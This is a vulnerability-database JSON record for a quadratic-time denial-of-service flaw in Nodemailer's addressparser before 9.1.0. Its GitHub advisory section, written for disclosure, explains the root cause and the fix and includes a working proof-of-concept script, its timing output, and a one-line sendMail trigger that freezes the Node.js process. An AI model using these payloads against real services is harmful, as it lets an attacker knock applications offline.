{"id":"GHSA-v554-hhrr-96v5","revision":null,"records":[{"revision":"35f4c88761a140448ae550807b1d1be4","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-92596","aliases":[],"title":"Nodemailer before 9.1.0 Denial of Service via addressparser","description":"Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.","state":0,"publishedAt":"2026-09-16T21:47:00.9+00:00","modifiedAt":"2026-09-17T13:23:33.704+00:00","affected":[{"ecosystem":"Vendor product","name":"nodemailer","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nodemailer\",\n                    \"product\": \"nodemailer\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/nodemailer\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"9.1.0\"\n                        },\n                        {\n                            \"version\": \"9.1.0\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2","https://github.com/nodemailer/nodemailer/commit/9116da9","https://github.com/nodemailer/nodemailer/commit/7cc38af","https://github.com/nodemailer/nodemailer/commit/34da642","https://github.com/nodemailer/nodemailer/commit/83b8c48","https://www.vulncheck.com/advisories/nodemailer-before-9.1.0-denial-of-service-via-addressparser"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-92596","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-92596","identifiers":["CVE-2026-92596"]},"retained":false,"historicalAffected":[]},{"revision":"e47d53d2aef44a69aecfeb682e5dccee","observedAt":"2026-11-11T18:10:40.605+00:00","statement":{"source":"euvd","id":"EUVD-2026-81296","aliases":["CVE-2026-92596","GHSA-v554-hhrr-96v5"],"title":"Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a sing…","description":"Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2","https://github.com/nodemailer/nodemailer/commit/9116da9","https://github.com/nodemailer/nodemailer/commit/7cc38af","https://github.com/nodemailer/nodemailer/commit/34da642","https://github.com/nodemailer/nodemailer/commit/83b8c48","https://www.vulncheck.com/advisories/nodemailer-before-9.1.0-denial-of-service-via-addressparser"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-81296","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 16, 2026, 9:47:00 PM","dateUpdated":"Sep 17, 2026, 1:23:33 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-3621","title":"IBM App Connect Enterprise: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2022-35948","CVE-2026-13697","CVE-2026-14643","CVE-2026-15157","CVE-2026-1527","CVE-2026-16728","CVE-2026-16729","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59875","CVE-2026-92595","CVE-2026-92596","CVE-2026-92597","CVE-2026-92598","CVE-2026-9678"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-81296","identifiers":["EUVD-2026-81296","CVE-2026-92596","GHSA-v554-hhrr-96v5"]},"retained":false,"historicalAffected":[]},{"revision":"0cd785c1a3274231b203b29450324ffe","observedAt":"2026-10-25T16:19:22.228+00:00","statement":{"source":"nvd","id":"CVE-2026-92596","aliases":[],"title":"Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a sing…","description":"Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.","state":0,"publishedAt":"2026-09-16T22:18:30.557+00:00","modifiedAt":"2026-09-22T20:25:55.87+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/nodemailer/nodemailer/commit/34da642","https://github.com/nodemailer/nodemailer/commit/7cc38af","https://github.com/nodemailer/nodemailer/commit/83b8c48","https://github.com/nodemailer/nodemailer/commit/9116da9","https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2","https://www.vulncheck.com/advisories/nodemailer-before-9.1.0-denial-of-service-via-addressparser"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92596","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-400"],"productCriteria":[],"sourceDates":{"published":"2026-09-16T22:18:30.557","lastModified":"2026-09-22T20:25:55.870"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-92596","identifiers":["CVE-2026-92596"]},"retained":false,"historicalAffected":[]},{"revision":"277e2b5f00aa4d9da26c4871af524127","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2x7j-588g-ccc2","aliases":["CVE-2026-92596"],"title":"Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list","description":"### Summary\n\nNodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.\n\nThis requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).\n\n### Details\n\n`addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505):\n\n```js\naddresses.forEach(addr => {\n    const handled = _handleAddress(addr, depth);\n    if (handled.length) {\n        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503\n    }\n});\n```\n\n`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.\n\n**Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input:\n\n```\nparsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms\nparsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)\n```\n\n**Measured scaling** (nodemailer 9.0.6, `'a@b.com,'.repeat(n)`):\n\n| addresses n | input size | parse time | ratio for 2× input |\n|---|---|---|---|\n| 25,000  | 0.19 MB | ~0.35 s | – |\n| 50,000  | 0.38 MB | ~1.4 s  | ×4.0 |\n| 100,000 | 0.76 MB | ~6–8 s  | ×3.9 |\n| 200,000 | 1.53 MB | ~25–30 s| ×4.1 |\n\nDoubling the input quadruples the time — the signature of O(n²).\n\n**Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: <crafted string> })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', 'a@b.com,'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.\n\n**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.\n\n### PoC\n\nEnvironment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required — the cost is in parsing.\n\n`poc-dos.js`:\n```js\n'use strict';\nconst addressparser = require('nodemailer/lib/addressparser');\n\nconsole.log('addresses | input size | parse time');\nfor (const n of [25000, 50000, 100000, 200000]) {\n  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients\n  const t0 = process.hrtime.bigint();\n  addressparser(payload);                       // blocks synchronously\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');\n}\n```\n\nRun:\n```\nnpm init -y && npm install nodemailer@9.0.6\nnode poc-dos.js\n```\n\nActual output (nodemailer 9.0.6):\n```\naddresses | input size | parse time\n    25000 | 0.19 MB   |     381 ms\n    50000 | 0.38 MB   |    1435 ms\n   100000 | 0.76 MB   |    7949 ms\n   200000 | 1.53 MB   |   25154 ms\n```\n\nEquivalent trigger through the normal send API (freezes the event loop):\n```js\nconst nodemailer = require('nodemailer');\nnodemailer.createTransport({ jsonTransport: true })\n  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });\n// ~15+ seconds of 100% CPU inside addressparser before anything is sent\n```\n\n### Impact\n\n* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a \"send email / invite / share\" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.\n\n## Patched in 9.1.0\n\nThree separate quadratic paths were fixed, not one:\n\n* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)).\n* The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b <c@d.com>,'.repeat(n)` (same commit).\n* `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'a@b.com,'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.\n\nFixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).\n\nParsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.","state":0,"publishedAt":"2026-09-08T21:33:17+00:00","modifiedAt":"2026-09-17T11:56:03.0504813+00:00","affected":[{"ecosystem":"npm","name":"nodemailer","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"9.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2","https://github.com/nodemailer/nodemailer/pull/1848","https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150","https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e","https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434","https://github.com/nodemailer/nodemailer","https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0"],"sourceUrl":"https://github.com/advisories/GHSA-2x7j-588g-ccc2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2x7j-588g-ccc2","identifiers":["GHSA-2x7j-588g-ccc2","CVE-2026-92596"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T04:18:36.4231440+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T04:18:36.423144+00:00","lastSuccessAt":"2026-11-13T04:18:36.6499472+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.6499505+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-eec2a7b6fa103d7adf500db624fb62eee17c31f1d368f8ffbfab89234260d0bb","complete":true,"records":424956,"lastAttemptAt":"2026-11-13T04:16:36.7627787+00:00","lastSuccessAt":"2026-11-13T04:16:36.734253+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:16:36.7627787+00:00","snapshotPublishedAt":"2026-11-13T03:23:36+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e04a199e7d564def944246e638d9fcaf","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T04:28:27.2271603+00:00","lastSuccessAt":"2026-11-13T04:28:27.21+00:00","error":"466 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T04:28:27.21+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13347,"expectedIdentifiers":13846,"failedIdentifiers":466},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T04:18:36.4231440+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T04:18:36.423144+00:00","lastSuccessAt":"2026-11-13T04:18:36.6506845+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.6506847+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-77eeb9ad53d240dc91f8e3d507ac52a2","complete":true,"records":13781,"lastAttemptAt":"2026-11-13T04:18:42.8820004+00:00","lastSuccessAt":"2026-11-13T04:18:42.877+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:42.877+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T04:18:36.3735153+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.3735153+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T04:16:36.9142039+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:16:36.9142039+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T04:18:36.3861738+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.3861738+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f70b10812c5ddf50a1d5d3981278bc04de2258aeffba4d04b8366dfdb415cc24","complete":true,"records":231754,"lastAttemptAt":"2026-11-13T04:18:36.2431554+00:00","lastSuccessAt":"2026-11-13T04:18:34.7446316+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.2431554+00:00","snapshotPublishedAt":"2026-11-13T03:47:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}